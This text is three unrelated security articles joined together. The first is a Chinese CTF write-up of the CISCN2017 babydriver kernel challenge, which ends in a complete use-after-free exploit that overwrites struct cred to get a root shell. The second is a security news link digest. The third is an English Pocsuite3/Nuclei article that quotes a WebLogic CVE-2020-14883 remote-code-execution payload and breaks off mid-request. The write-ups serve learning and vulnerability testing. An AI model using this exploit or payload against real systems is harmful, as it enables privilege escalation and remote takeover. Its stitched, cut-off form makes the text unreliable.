echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid cttyhack setuidgid 1000 sh
umount /proc
umount /sys
poweroff -d 0 -f
**b. 获取目标内核模块**
> 在提权之前，我们需要先把加载进内核的驱动 dump 出来，这个驱动大概率是一个存在漏洞的驱动。
首先使用 file 命令查看一下 rootfs.cpio 的文件格式：
$ file rootfs.cpio
rootfs.cpio: gzip compressed data, last modified: Tue Jul 4 08:39:15 2017, max compression, from Unix, original size modulo 2^32 2844672
可以看到是一个 gzip 格式的文件，因此我们需要给该文件改一下名称，否则 gunzip 将无法识别文件后缀。之后就是解压 gzip + 解包 cpio
的操作：
mv rootfs.cpio rootfs.cpio.gz
gunzip rootfs.cpio.gz
解压之后的文件便是正常的 CPIO 格式：
$ file rootfs.cpio
rootfs.cpio: ASCII cpio archive (SVR4 with no CRC)
使用常规方式给 CPIO 解包即可：
cpio -idmv < rootfs.cpio
解包完成后，即可在`/lib/modules/4.4.72/babydriver.ko`下找到目标驱动。
**c. 查看保护**
首先是驱动程序保护：
$ checksec babydriver.ko
[*] '/usr/class/kernel_pwn/CISCN2017-babydriver/babydriver/babydriver.ko'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x0)
可以看到这里只开启了 NX 保护。
接着再看看 qemu 启动参数，发现启动了 smep 保护。
#!/bin/bash
qemu-system-x86_64 \
-initrd rootfs.cpio \
-kernel bzImage \
-append 'console=ttyS0 root=/dev/ram oops=panic panic=1' \
-enable-kvm \
-monitor /dev/null \
-m 64M \
--nographic \
-smp cores=1,threads=1 \
-cpu kvm64,+smep # <- 启用 +smep 保护
> SMEP（Supervisor Mode Execution Protection 管理模式执行保护）： **禁止CPU处于 ring0
> 模式时执行用户空间代码** 。
>
> 还有一个比较相近的保护措施是 SMAP（Superivisor Mode Access Protection
> 管理模式访问保护）：禁止内核CPU访问用户空间的数据。
注意到 **没有启动 kaslr** 。
**d. 代码分析**
> 第一次接触内核题，代码什么的当然需要理清楚了。这里我们一一把驱动函数代码分析过去。
**1) babydriver_init**
**1.1) 关键代码**
先上代码，这里重点关注红框框住的部分（其余部分是异常处理）
简单精简一下，实际关键代码如下所示：
alloc_chrdev_region(&babydev_no, 0, 1, "babydev");
cdev_init(&cdev_0, &fops);
cdev_0.owner = &_this_module;
cdev_add(&cdev_0, babydev_no, 1);
babydev_class = _class_create(&_this_module, "babydev", &babydev_no);
device_create(babydev_class, 0, babydev_no, 0, "babydev");
在解释上面的代码之前，我们先来简单学习一下 **设备文件** 的相关知识。
**1.2) 设备号**
对于 **所有** 设备文件来说，一共分为三种，分别是：
* 字符设备（ char device），例如控制台
* 块设备（block device），例如文件系统
* 网络设备（network device），例如网卡
设备文件可以通过设备文件名来访问，通常位于 /dev 目录下。`ls -a` 出来的第一个字符即说明了当前设备文件的类型：
# c 表示字符设备
crw-rw-rw- 1 root tty 5, 0 Oct 3 15:03 0
# l 表示符号链接
lrwxrwxrwx 1 root root 15 Oct 2 23:43 stdout -> /proc/self/fd/1
# - 表示常规文件
-rw-rw-r-- 1 Kiprey Kiprey 203792 Jun 16 2017 babydriver.ko
我们可以在 **设备文件条目** 中最后一次修改日期之前看到两个数字(用逗号分隔)，例如上面的 `5, 0`（这个位置通常显示的是普通文件的
**文件长度** ），对于 **设备文件条目** 的信息中，形如`5,0`这样的一对数字，分别是特定设备的 **主设备号** 和 **副设备号** 。
在传统意义上， **主设备号** 标识与设备相关的 **驱动程序** 。例如，`/dev/null` 和 `/dev/zero`
都是由驱动1管理的。而多个串行终端（即 ttyX, ttySX）是由驱动4管理的。现代的Linux内核已经 **支持多个驱动程序共享主设备号**
，但是我们仍然可以看到，目前大多数设备仍然是按照 **一个主设备号对应一个驱动程序** 的方式来组织的。
内核 **使用副设备号来确定引用的是哪个设备** ，但副设备号的作用仅限于此，内核不会知道更多关于某个特定副设备号的信息。
主设备号和副设备号可同时保存与类型 `dev_t` 中，而该类型实际上是一个 `u32`；其中的12位用于保存主设备号，20位用于保存副设备号。
typedef u32 __kernel_dev_t;
typedef __kernel_dev_t dev_t;
在编写驱动程序需要使用主副设备号时，最好不要直接进行位运算操作，而是使用 `<linux/kdev_t.h>` 头文件中的宏定义操作：
#define MAJOR(dev) ((dev)>>8) // 获取主设备号
#define MINOR(dev) ((dev) & 0xff) // 获取副设备号
#define MKDEV(ma,mi) ((ma)<<8 | (mi)) // 从主副设备号中生成一个 dev_t 类型的变量
设备文件相关的内容暂时到此为止，现在回归题目。
首先，babydriver_init 函数将会调用 `alloc_chrdev_region` 函数。该函数的函数声明如下：
/**
* alloc_chrdev_region() - register a range of char device numbers
* @dev: output parameter for first assigned number
* @baseminor: first of the requested range of minor numbers
* @count: the number of minor numbers required
* @name: the name of the associated device or driver
*
* Allocates a range of char device numbers. The major number will be
* chosen dynamically, and returned (along with the first minor number)
* in @dev. Returns zero or a negative error code.
*/
int alloc_chrdev_region(dev_t *dev, unsigned baseminor, unsigned count,
const char *name)
根据当前函数的调用代码：
alloc_chrdev_region(&babydev_no, 0, 1, "babydev");
我们不难看出，babydriver_init 函数尝试向内核申请一个 **字符设备** 的新的 **主设备号** ，其中副设备号从0开始，设备名称为
`babydev`，并将申请到的主副设备号存入 babydev_no 全局变量中。
> 还有一个名为`register_chrdev_region`的函数，它在调用时需要指定 **主副设备号的起始值**
> ，要求内核在起始值的基础上进行分配，与 `alloc_chrdev_region`功能相似但又有所不同。
设备号分配完成后，我们需要将其连接到实现设备操作的内部函数。
**1.3) 注册字符设备**
内核使用 `cdev` 类型的结构来表示字符设备，因此在操作设备之前，内核必须 **初始化** + **注册** 一个这样的结构体。
> 注意，一个驱动程序可以分配不止一个设备号，创建不止一个设备。
该函数的执行代码如下：
cdev_init(&cdev_0, &fops);
cdev 结构体的初始化函数如下：
/**
* cdev_init() - initialize a cdev structure
* @cdev: the structure to initialize
* @fops: the file_operations for this device
*
* Initializes @cdev, remembering @fops, making it ready to add to the
* system with cdev_add().
*/
void cdev_init(struct cdev *cdev, const struct file_operations *fops)
正如注释中写到，传入的 cdev 指针所对应的 `struct cdev` 将会被初始化，同时 **设置该设备的各类操作** 为传入的
`file_operations`结构体指针。
`file_operations`结构体中包含了大量的函数指针：
struct file_operations {
struct module *owner;
loff_t (*llseek) (struct file *, loff_t, int);
ssize_t (*read) (struct file *, char __user *, size_t, loff_t *);
ssize_t (*write) (struct file *, const char __user *, size_t, loff_t *);
ssize_t (*read_iter) (struct kiocb *, struct iov_iter *);
ssize_t (*write_iter) (struct kiocb *, struct iov_iter *);
int (*iopoll)(struct kiocb *kiocb, bool spin);
int (*iterate) (struct file *, struct dir_context *);
int (*iterate_shared) (struct file *, struct dir_context *);
__poll_t (*poll) (struct file *, struct poll_table_struct *);
long (*unlocked_ioctl) (struct file *, unsigned int, unsigned long);
long (*compat_ioctl) (struct file *, unsigned int, unsigned long);
int (*mmap) (struct file *, struct vm_area_struct *);
unsigned long mmap_supported_flags;
int (*open) (struct inode *, struct file *);
int (*flush) (struct file *, fl_owner_t id);
int (*release) (struct inode *, struct file *);
int (*fsync) (struct file *, loff_t, loff_t, int datasync);
int (*fasync) (int, struct file *, int);
int (*lock) (struct file *, int, struct file_lock *);
ssize_t (*sendpage) (struct file *, struct page *, int, size_t, loff_t *, int);
unsigned long (*get_unmapped_area)(struct file *, unsigned long, unsigned long, unsigned long, unsigned long);
int (*check_flags)(int);
int (*flock) (struct file *, int, struct file_lock *);
ssize_t (*splice_write)(struct pipe_inode_info *, struct file *, loff_t *, size_t, unsigned int);
ssize_t (*splice_read)(struct file *, loff_t *, struct pipe_inode_info *, size_t, unsigned int);
int (*setlease)(struct file *, long, struct file_lock **, void **);
long (*fallocate)(struct file *file, int mode, loff_t offset,
loff_t len);
void (*show_fdinfo)(struct seq_file *m, struct file *f);
#ifndef CONFIG_MMU
unsigned (*mmap_capabilities)(struct file *);
#endif
ssize_t (*copy_file_range)(struct file *, loff_t, struct file *,
loff_t, size_t, unsigned int);
loff_t (*remap_file_range)(struct file *file_in, loff_t pos_in,
struct file *file_out, loff_t pos_out,
loff_t len, unsigned int remap_flags);
int (*fadvise)(struct file *, loff_t, loff_t, int);
} __randomize_layout;
但在这道题中我们只会用到其中的一小部分，即 `/baby(open|release|read|write|ioctl)/`。
> struct file_operations 中的 owner 指针是必须指向当前内核模块的指针，可以使用宏定义 `THIS_MODULE`
> 来获取该指针。
当 cdev 结构体初始化完成后，最后的一步就是使用 `cdev_add` 告诉内核该设备的设备号。
cdev_add(&cdev_0, babydev_no, 1);
其中，`cdev_add` 函数声明如下所示：
/**
* cdev_add() - add a char device to the system
* @p: the cdev structure for the device
* @dev: the first device number for which this device is responsible
* @count: the number of consecutive minor numbers corresponding to this
* device
*
* cdev_add() adds the device represented by @p to the system, making it
* live immediately. A negative error code is returned on failure.
*/
int cdev_add(struct cdev *p, dev_t dev, unsigned count)
需要注意的是，一旦 `cdev_add` 函数执行完成，则当前 cdev 设备 **立即处于活动状态** ，其 **操作可以立即被内核调用**
。因此在编写驱动程序时，务必保证在驱动程序完全准备好处理设备上的操作之后，最后再来调用 `cdev_add`。
**1.4) 将设备注册进 sysfs**
当驱动模块已经将 cdev 注册进内核后，该函数将会执行以下代码，来将当前设备的设备结点注册进 sysfs 中。
babydev_class = class_create(THIS_MODULE, "babydev");
device_create(babydev_class, 0, babydev_no, 0, "babydev");
其中，函数 `class_create` 和 `device_create` 的声明如下：
/* This is a #define to keep the compiler from merging different
* instances of the __key variable */
#define class_create(owner, name) \
({ \
static struct lock_class_key __key; \
__class_create(owner, name, &__key); \
})
/**
* class_create - create a struct class structure
* @owner: pointer to the module that is to "own" this struct class
* @name: pointer to a string for the name of this class.
* @key: the lock_class_key for this class; used by mutex lock debugging
*
* This is used to create a struct class pointer that can then be used
* in calls to device_create().
*
* Returns &struct class pointer on success, or ERR_PTR() on error.
*
* Note, the pointer created here is to be destroyed when finished by
* making a call to class_destroy().
*/
struct class *__class_create(struct module *owner, const char *name,
struct lock_class_key *key)
/**
* device_create - creates a device and registers it with sysfs
* @class: pointer to the struct class that this device should be registered to
* @parent: pointer to the parent struct device of this new device, if any
* @devt: the dev_t for the char device to be added
* @drvdata: the data to be added to the device for callbacks
* @fmt: string for the device's name
*
* This function can be used by char device classes. A struct device
* will be created in sysfs, registered to the specified class.
*
* A "dev" file will be created, showing the dev_t for the device, if
* the dev_t is not 0,0.
* If a pointer to a parent struct device is passed in, the newly created
* struct device will be a child of that device in sysfs.
* The pointer to the struct device will be returned from the call.
* Any further sysfs files that might be required can be created using this
* pointer.
*
* Returns &struct device pointer on success, or ERR_PTR() on error.
*
* Note: the struct class passed to this function must have previously
* been created with a call to class_create().
*/
struct device *device_create(struct class *class, struct device *parent,
dev_t devt, void *drvdata, const char *fmt, ...)
初始时，init 函数通过调用 `class_create` 函数创建一个 `class` 类型的 **类** ，创建好后的 **类**
存放于sysfs下面，可以在 `/sys/class`中找到。
之后函数调用 `device_create` 函数，动态建立 **逻辑设备** ，对新逻辑设备进行初始化；同时还将其与第一个参数所对应的 **逻辑类**
相关联，并将此逻辑设备加到linux内核系统的设备驱动程序模型中。这样，函数会自动在 `/sys/devices/virtual`
目录下创建新的逻辑设备目录，并在 `/dev` 目录下创建与 **逻辑类** 对应的设备文件。
最终实现效果就是，我们便可以在 `/dev` 中看到该设备。
**1.5 init 函数小结**
综上，`babydriver_init` 函数主要做了几件事：
1. 向内核申请一个空闲的设备号
2. 声明一个 cdev 结构体，初始化并绑定设备号
3. 创建新的 struct class，并将该设备号所对应的设备注册进 sysfs
**2) babydriver_exit**
理解完 init 函数后，理解 exit 函数的逻辑就相当的简单——把该释放的数据结构全部释放。
void __cdecl babydriver_exit()
{
device_destroy(babydev_class, babydev_no);
class_destroy(babydev_class);
cdev_del(&cdev_0);
unregister_chrdev_region(babydev_no, 1LL);
}
**3) babyopen**
该函数代码如下：
babyopen 函数在内核中创建了一个 `babydev_struct` 的结构体，其中包含了一个 `device_buf` 指针以及一个
`device_buf_len`成员变量。
需要注意的是，`kmem_cache_alloc_trace` 函数分配内存的逻辑与 `kmalloc`类似，笔者怀疑反汇编出来的代码应该是调用
`kmalloc` 函数优化内敛后的效果：
/**
* kmalloc - allocate memory
* @size: how many bytes of memory are required.
* @flags: the type of memory to allocate.
*
* kmalloc is the normal method of allocating memory
* for objects smaller than page size in the kernel.
*
* The allocated object address is aligned to at least ARCH_KMALLOC_MINALIGN
* bytes. For @size of power of two bytes, the alignment is also guaranteed
* to be at least to the size.
*
* The @flags argument may be one of the GFP flags defined at
* include/linux/gfp.h and described at
* :ref:`Documentation/core-api/mm-api.rst <mm-api-gfp-flags>`
*
* The recommended usage of the @flags is described at
* :ref:`Documentation/core-api/memory-allocation.rst <memory_allocation>`
*
* Below is a brief outline of the most useful GFP flags
*
* %GFP_KERNEL
* Allocate normal kernel ram. May sleep.
*
* %GFP_NOWAIT
* Allocation will not sleep.
*
* %GFP_ATOMIC
* Allocation will not sleep. May use emergency pools.
*
* %GFP_HIGHUSER
* Allocate memory from high memory on behalf of user.
*
* Also it is possible to set different flags by OR'ing
* in one or more of the following additional @flags:
*
* %__GFP_HIGH
* This allocation has high priority and may use emergency pools.
*
* %__GFP_NOFAIL
* Indicate that this allocation is in no way allowed to fail
* (think twice before using).
*
* %__GFP_NORETRY
* If memory is not immediately available,
* then give up at once.
*
* %__GFP_NOWARN
* If allocation fails, don't issue any warnings.
*
* %__GFP_RETRY_MAYFAIL
* Try really hard to succeed the allocation but fail
* eventually.
*/
static __always_inline void *kmalloc(size_t size, gfp_t flags)
{
if (__builtin_constant_p(size)) {
#ifndef CONFIG_SLOB
unsigned int index;
#endif
if (size > KMALLOC_MAX_CACHE_SIZE)
return kmalloc_large(size, flags);
#ifndef CONFIG_SLOB
index = kmalloc_index(size);
if (!index)
return ZERO_SIZE_PTR;
return kmem_cache_alloc_trace(
kmalloc_caches[kmalloc_type(flags)][index],
flags, size);
#endif
}
return __kmalloc(size, flags);
}
**4) babyrelease**
babyrelease 函数的逻辑较为简单，这里只是简单的将 babydev_struct.device_buf 释放掉。
但这里需要注意的是，尽管这里释放了指针所指向的内核空间，但 **在释放完成后，该函数既没有对`device_buf`指针置空，也没有设置
`device_buf_len` 为0** 。
**5) babyread**
babyread 函数的 IDA 反汇编效果存在错误，这是笔者根据汇编代码修正后的效果：
ssize_t __fastcall babyread(file *filp, char *buffer, size_t length, loff_t *offset)
{
_fentry__(filp, buffer);
if ( !babydev_struct.device_buf )
return -1LL;
result = -2LL;
if ( babydev_struct.device_buf_len > length )
{
copy_to_user(buffer, babydev_struct.device_buf, length);
result = length;
}
return result;
}
babyread 函数将在判断完当前 device_buf 是否为空之后，将 device_buf 上的内存拷贝至用户空间的 buffer 内存。
**6) babywrite**
babywrite 功能与 babyread 类似，将用户空间的 buffer 内存上的数据拷贝进内核空间的 device_buf
上，此处不再赘述。该函数修正后的反编译代码如下：
ssize_t __fastcall babywrite(file *filp, const char *buffer, size_t length, loff_t *offset)
{
_fentry__(filp, buffer);
if ( !babydev_struct.device_buf )
return -1LL;
result = -2LL;
if ( babydev_struct.device_buf_len > length )
{
copy_from_user(babydev_struct.device_buf, buffer, length);
result = length;
}
return result;
}
**7) babyioctl**
babyioctl 函数的功能类似于 `realloc`：将原先的 device_buf 释放，并分配一块新的内存。
但这里有个很重要的点需要注意： **该位置的 kmalloc 大小可以被用户任意指定** ，而不是先前 babyopen 中的 64。
**e. 获取到的信息**
根据上面的分析，最终我们可以得到以下信息：
已开启的保护：
* nx
* smep
内核模块中可能能利用的点：
* babyrelease **释放 device_buf 指针后没有置空，device_buf_len 没有重置为0**
* babyioctl 可以让 device_buf 重新分配 **任意大小** 的内存
* 当前内核模块中 **所有用到的变量都是全局变量** ，这意味着 **并发性非常的脆弱** ，或许可以利用一下。
### 4\. 调试前的准备
* 编写以下 shell 脚本以快速启动调试会话
#!/bin/bash
# 判断当前权限是否为 root，需要高权限以执行 gef-remote --qemu-mode
user=$(env | grep "^USER" | cut -d "=" -f 2)
if [ "$user" != "root" ]
then
echo "请使用 root 权限执行"
exit
fi
# 静态编译 exp
gcc exp.c -static -o rootfs/exp
# rootfs 打包
pushd rootfs
find . | cpio -o --format=newc > ../rootfs.cpio
popd
# 启动 gdb
gnome-terminal -e 'gdb -x mygdbinit'
# 启动 qemu
qemu-system-x86_64 \
-initrd rootfs.cpio \
-kernel bzImage \
-append 'console=ttyS0 root=/dev/ram oops=panic panic=1' \
-enable-kvm \
-monitor /dev/null \
-m 64M \
--nographic \
-smp cores=1,threads=1 \
-cpu kvm64,+smep \
-s
> exploit 需要静态编译，因为 kernel 不提供标准库，但一定提供 syscall。
* 获取 vmlinux我们可以使用 [extract-vmlinux](https://github.com/torvalds/linux/blob/master/scripts/extract-vmlinux) 工具，从 bzImage 中解压出 vmlinux。
> 直接让 gdb 加载 bzImage 时将无法加载到任何 kernel 符号，
>
> 因此需要先从 bzImage 中解压出 vmlinux， 再来让 gdb 加载符号。
wget https://raw.githubusercontent.com/torvalds/linux/master/scripts/extract-vmlinux
chmod +x ./extract-vmlinux
cd CISCN2017-babydriver/babydriver/
../../extract-vmlinux bzImage > vmlinux
但实际上，解压出来的 vmlinux 的函数名称全部为 `sub_xxxx`，不方便调试。即便所有的内核符号与函数名称的信息全部位于内核符号表中（或者
`/proc/kallsyms`），但一个个对应过去也相当麻烦。
因此还有一个工具可以使用：`vmlinux-to-elf`
> 使用这个工具之前系统中必须装有 **高于3.5** 版本的python
sudo apt install python3-pip
sudo pip3 install --upgrade lz4 git+https://github.com/marin-m/vmlinux-to-elf
使用方式：
# vmlinux-to-elf <input_kernel.bin> <output_kernel.elf>
vmlinux-to-elf bzImage vmlinux
之后解压出来的 vmlinux 就是带符号的，可以正常被 gdb 读取和下断点。
* 查看当前 bzImage 所对应的内核版本，并下载该版本的内核代码（如果有需要，想更细致的研究内核的话）
$ strings bzImage | grep "gcc" # 或者 `file bzImage` 命令
4.4.72 (atum[@ubuntu](https://github.com/ubuntu "@ubuntu")) (gcc version 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntu1~16.04.4) ) #1 SMP Thu Jun 15 19:52:50 PDT 2017
$ curl -O -L https://mirrors.tuna.tsinghua.edu.cn/kernel/v5.x/linux-4.4.72.tar.xz
$ unxz linux-4.4.72.tar.xz
$ tar -xf linux-4.4.72.tar
* 启动 kernel 后，别忘记在 gdb 中使用 `add-symbol-file` 加载 ko 的符号：
# in kernel shell:
/ $ lsmod
babydriver 16384 0 - Live 0xffffffffc0000000 (OE)
# in gdb:
gef➤ add-symbol-file babydriver.ko 0xffffffffc0000000
* 最终设置的 mygdbinit 如下
set architecture i386:x86-64
add-symbol-file vmlinux
gef-remote --qemu-mode localhost:1234
c
# 先 continue， 在 insmod 之后手动 Ctrl+C 再设置断点，免得断点处于 pending 状态
add-symbol-file babydriver.ko 0xffffffffc0000000
b babyread
b babywrite
b babyioctl
b babyopen
b babyrelease
c
### 5\. kernel 的 UAF 利用
**a. 覆写 cred 结构体**
UAF 的常规利用是通过悬垂指针来修改某块特定内存上的数据，因此在这里我们可以试着：
* 先让一个悬垂指针指向一块已被释放的内存
* 执行 fork 操作，使 fork 时给新子进程分配的 `struct cred` 结构体重新分配这块内存
* 利用悬垂指针来随意修改这块内存上的 `struct cred` 结构体，达到提权的效果
`struct cred` 结构体用于 **保存每个进程的权限** ，其结构如下所示：
/*
* The security context of a task
*
* The parts of the context break down into two categories:
*
* (1) The objective context of a task. These parts are used when some other
* task is attempting to affect this one.
*
* (2) The subjective context. These details are used when the task is acting
* upon another object, be that a file, a task, a key or whatever.
*
* Note that some members of this structure belong to both categories - the
* LSM security pointer for instance.
*
* A task has two security pointers. task->real_cred points to the objective
* context that defines that task's actual details. The objective part of this
* context is used whenever that task is acted upon.
*
* task->cred points to the subjective context that defines the details of how
* that task is going to act upon another object. This may be overridden
* temporarily to point to another security context, but normally points to the
* same context as task->real_cred.
*/
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
#ifdef CONFIG_KEYS
unsigned char jit_keyring; /* default keyring to attach requested
* keys to */
struct key __rcu *session_keyring; /* keyring inherited over fork */
struct key *process_keyring; /* keyring private to this process */
struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
void *security; /* subjective LSM security */
#endif
struct user_struct *user; /* real user ID subscription */
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
struct group_info *group_info; /* supplementary groups for euid/fsgid */
struct rcu_head rcu; /* RCU deletion hook */
};
新进程的 `struct cred` 结构体分配的代码位于 `_do_fork -> copy_process -> copy_creds ->
prepare_creds` 函数调用链中。
为了避开繁琐的内存分配利用，精简利用方式，我们只需要让 babydriver 中释放的 `device_buf` 内存的大小与 `sizeof(struct
cred)`一致即可，这样便可以让内核在为 struct cred 分配内存时，分配到刚释放不久的 device_buf 内存。
由于当前 bzImage 解压出来的 vmlinux 没有 **结构体** 符号，因此我们可以直接根据默认参数编译出一个新的 vmlinux，并加载该
vmlinux 来获取 `struct cred` 结构体的大小：
gef➤ p sizeof(struct cred)
$1 = 0xa8
执行完 `babyrelease`
函数之后，`device_buf`就会成为悬垂指针。但需要注意的是，在用户进程空间中，当执行`close(fd)`之后，该进程将无法再使用这个文件描述符，因此没有办法在`close`后再利用这个
fd 去进行写操作。
但我们可以利用 babydriver 中的 **变量全是全局变量** 的这个特性，同时执行两次 open 操作，获取两个 fd。这样即便一个 fd 被
close 了，我们仍然可以利用另一个 fd 来对 `device_buf` 进行写操作。
这样一套完整的利用流程就出来了，exploit 如下所示：
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/wait.h>
#include <unistd.h>
int main() {
int fd1 = open("/dev/babydev", O_RDWR); // alloc
int fd2 = open("/dev/babydev", O_RDWR); // alloc
ioctl(fd1, 65537, 0xa8); // realloc
close(fd1); // free
if (!fork()) {
// child
// try to overwrite struct cred
char mem[4 * 7]; // usage uid gid suid sgid euid egid
memset(mem, '\x00', sizeof(mem));
write(fd2, mem, sizeof(mem));
// get shell
printf("[+] after LPE, privilege: %s\n", (getuid() ? "user" : "root"));
system("/bin/sh");
}
else
// parent
waitpid(-1, NULL, 0);
return 0;
}
> 需要注意的是，当进程执行完 fork 操作后，父进程必须 wait 子进程，否则当父进程被销毁后，该进程成为孤儿进程，将无法使用终端进行输入输出。
利用结果： | 社区文章 |
# 【知识】10月31日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**
**
**热点概要：拥有相机权限的iOS应用竟可悄悄拍照录像并实时上传更新！POC已公开、
Firefox借鉴Tor浏览器实现了一个隐私保护功能、恶意Chrome扩展偷取用户数据并发布到任何网站、NECURS
BOTNET使用Office的DDE攻击push用户下载勒索软件（带样本下载）、阿拉伯网络犯罪团伙Gaza Cybergang在2017年的新动向**
**资讯类：**
iOS可构造app使得当用户一次性同意使用摄像头权限之后，在app启动期间任意访问前后摄像头，可在你不知情的情况下拍照或录像，并实时上传。
<https://thehackernews.com/2017/10/iphone-camera-spying.html>
<https://krausefx.com/blog/ios-privacy-watchuser-access-both-iphone-cameras-any-time-your-app-is-running>
相关POC app的源码已公开
<https://github.com/KrauseFx/watch.user>
阿拉伯网络犯罪团伙Gaza Cybergang在2017年的新动向
<https://securelist.com/gaza-cybergang-updated-2017-activity/82765/>
Firefox借鉴Tor浏览器实现了一个隐私保护功能
<https://www.bleepingcomputer.com/news/software/firefox-implements-another-privacy-preserving-feature-taken-from-the-tor-browser/>
Google的reCaptcha验证码再次被破解
<https://threatpost.com/googles-recaptcha-cracked-again/128690/>
恶意Chrome扩展偷取用户数据并发布到任何网站
<https://threatpost.com/malicious-chrome-extension-steals-data-posted-to-any-website/128680/>
Google的Bug Tracker缺陷导致公司的漏洞数据库被暴露
<https://www.bleepingcomputer.com/news/security/flaws-in-googles-bug-tracker-exposed-companys-vulnerability-database/>
**技术类：**
NECURS BOTNET MALSPAM使用Office的DDE攻击push用户下载勒索软件（带样本下载）
<http://malware-traffic-analysis.net/2017/10/30/index.html>
GoCrack：一款具有管理功能的密码破解工具
<https://www.fireeye.com/blog/threat-research/2017/10/gocrack-managed-password-cracking-tool.html>
看我如何去除ShellExperienceHost.exe & MicrosoftShellHost.exe挖矿木马
<https://www.bleepingcomputer.com/virus-removal/remove-shellexperiencehost-microsoftshellhost.exe-miners>
Domain Trusts攻击指南
<https://posts.specterops.io/a-guide-to-attacking-domain-trusts-971e52cb2944>
Tweep：高级Twitter爬取工具
<http://www.kitploit.com/2017/10/tweep-advanced-twitter-scraping-tool.html> | 社区文章 |
**Author: fenix@Knownsec 404 Team
Chinese version: <https://paper.seebug.org/2015/>**
## Introduction
Pocsuite3 is an open source remote vulnerability testing framework built by
Knownsec 404 Team based on the GPLv2 license [1](https://pocsuite.org
"Pocsuite3 框架"). The framework itself is developed using Python3 and
integrates the APIs of many security services such as ZoomEye, Shodan, CEye,
Interactsh, etc. Users can quickly write PoC/Exp based on Pocsuite3, verify
the vulnerability of batch targets and obtain summary results.
Nuclei is a customized, fast vulnerability scanner based on YAML syntax
templates open sourced by projectdiscovery
[2](https://nuclei.projectdiscovery.io " Nuclei 框架"). Nuclei defines a set of
syntax for sending requests to the target and matching the response to
determine whether the vulnerability has been successfully verified. It
supports TCP, HTTP and other protocols. Nuclei's community is very active, and
the nuclei-templates project provides thousands of community-maintained PoC
templates [3](https://github.com/projectdiscovery/nuclei-templates "nuclei-templates 项目").
Compared with Nuclei, Pocsuite3 is more flexible and can directly use a large
number of third-party libraries. It is very convenient for some
vulnerabilities involving complex protocols, and users can quickly get started
as long as they can write Python. Starting from the `2.0.0` version, Pocsuite3
supports PoC in YAML format and is compatible with Nuclei, and can directly
use the Nuclei template.
This article briefly talks about the Nuclei YAML syntax template and how
Pocsuite3 is compatible. Further details about Nuclei templates can be found
in the official Nuclei documentation.
## Nuclei YAML syntax template
YAML is a data serialization language commonly used to write configuration
files. Its basic syntax rules are as follows (source: Ruan Yifeng's YAML
Language Tutorial【4】).
> * Case sensitivity.
> * Use indentation to represent hierarchical relationships.
> * Tab key is not allowed when indenting, only spaces are allowed.
> * The number of indented spaces does not matter,, as long as the elements
> of the same level are aligned to the left.
>
`#` Represents a comment, which is ignored by the parser from this character
to the end of the line.
There are three types of data structures supported by YAML.
> * Object: A collection of key-value pairs, represented by a colon
> structure.
> * Array: A set of values in order, also known as a sequence / list. A set
> of lines at the beginning of a hyphen that forms an array. If the child
> members of the data structure are an array, you can indent a space below the
> item.
> * Scalars: Single, non-separable values, such as strings, integers,
> Booleans, etc.
>
Take `nuclei-templates/cves/2020/CVE-2020-14883.yaml` as an example:
id: CVE-2020-14883
info:
name: Oracle Fusion Middleware WebLogic Server Administration Console - Remote Code Execution
author: pdteam
severity: high
description: The Oracle Fusion Middleware WebLogic Server admin console in versions 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0 is vulnerable to an easily exploitable vulnerability that allows high privileged attackers with network access via HTTP to compromise Oracle WebLogic Server.
reference:
- https://packetstormsecurity.com/files/160143/Oracle-WebLogic-Server-Administration-Console-Handle-Remote-Code-Execution.html
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14883
- https://www.oracle.com/security-alerts/cpuoct2020.html
- http://packetstormsecurity.com/files/160143/Oracle-WebLogic-Server-Administration-Console-Handle-Remote-Code-Execution.html
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
cvss-score: 7.2
cve-id: CVE-2020-14883
tags: oracle,rce,weblogic,kev,packetstorm,cve,cve2020
requests:
- raw:
- |
POST /console/images/%252e%252e%252fconsole.portal HTTP/1.1
Host: {{Hostname}}
Accept-Language: en
CMD: {{cmd}}
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("CMD");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\A").next(); weblogic.servlet.internal.ServletResponseImpl res = 